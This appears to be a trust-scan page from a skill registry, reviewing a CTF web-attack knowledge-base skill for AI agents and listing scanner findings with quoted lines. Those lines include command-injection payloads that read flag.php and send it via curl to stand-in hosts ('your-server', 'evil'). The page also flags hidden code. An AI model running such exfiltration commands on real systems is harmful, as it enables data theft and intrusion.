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ctf-web
67 / 100 · Review before installing
Check before installing. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By fb0sh/pentester (GitHub) · security · 24 stars · scanned at commit 97a6d9a
CTF Web攻击知识库 — PHP弱比较绕过、命令注入空格绕过、eval回显技巧、SSTI注入链、反序列化利用链、PHP代码审计checklist、常见flag位置
Works with any agent that supports SKILL.md skills.
What this skill can do
Contains code that is hidden or hard to read
The author does not mention this.
Found in 1 place.
Sends data to these websites: attacker.com, your-server, evil, target
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 15 places.
Show 12 more
- .agents/skills/third-party/ctf-web/references/deserialization-playbook.md, line 142
r = requests.post(url, data=payload) - .agents/skills/third-party/ctf-web/references/eval-and-rce-techniques.md, line 39
r = requests.get(url, params={"cmd": "system('cat flag.php');"}) - .agents/skills/third-party/ctf-web/references/eval-and-rce-techniques.md, line 90
system("curl http://your-server/$(cat flag.php | base64)"); - .agents/skills/third-party/ctf-web/references/eval-and-rce-techniques.md, line 113
3. **无回显外带**：`system("curl http://evil/$(cat flag.php)")` - .agents/skills/third-party/ctf-web/references/php-bypass-cheatsheet.md, line 118
r = requests.post(url, data=data) - .agents/skills/third-party/ctf-web/references/php-code-audit-checklist.md, line 142
r = requests.get(url, params=payload) - .agents/skills/third-party/ctf-web/references/source-code-extraction.md, line 17
r = requests.get(url) - .agents/skills/third-party/ctf-web/references/source-code-extraction.md, line 79
r = requests.get(url) - .agents/skills/third-party/ctf-web/references/source-code-extraction.md, line 94
r = requests.get(url) - .agents/skills/third-party/ctf-web/references/web-ctf-quick-reference.md, line 75
curl -I http://target/ # HTTP 头 - .agents/skills/third-party/ctf-web/references/web-ctf-quick-reference.md, line 76
curl http://target/robots.txt # robots - .agents/skills/third-party/ctf-web/references/web-ctf-quick-reference.md, line 77
curl http://target/.git/HEAD # git 泄露
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 7 places.
Show 4 more
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'ctf-web' ] || [ -L ~/.agents/skills/'ctf-web' ]; then echo 'A skill folder named ctf-web already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/fb0sh/pentester' "$d" && git -C "$d" checkout --quiet '97a6d9a6d574a746c3d53d6150440074035a3b0a' -- '.agents/skills/third-party/ctf-web' && mkdir -p ~/.agents/skills && cp -R "$d"/'.agents/skills/third-party/ctf-web' ~/.agents/skills/'ctf-web' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'ctf-web' ~/.claude/skills/'ctf-web' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for fb0sh/pentester shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/fb0sh/pentester/)
Score history
| Date | Version | Score |
|---|
| 2026-11-11 | 97a6d9a | 67 |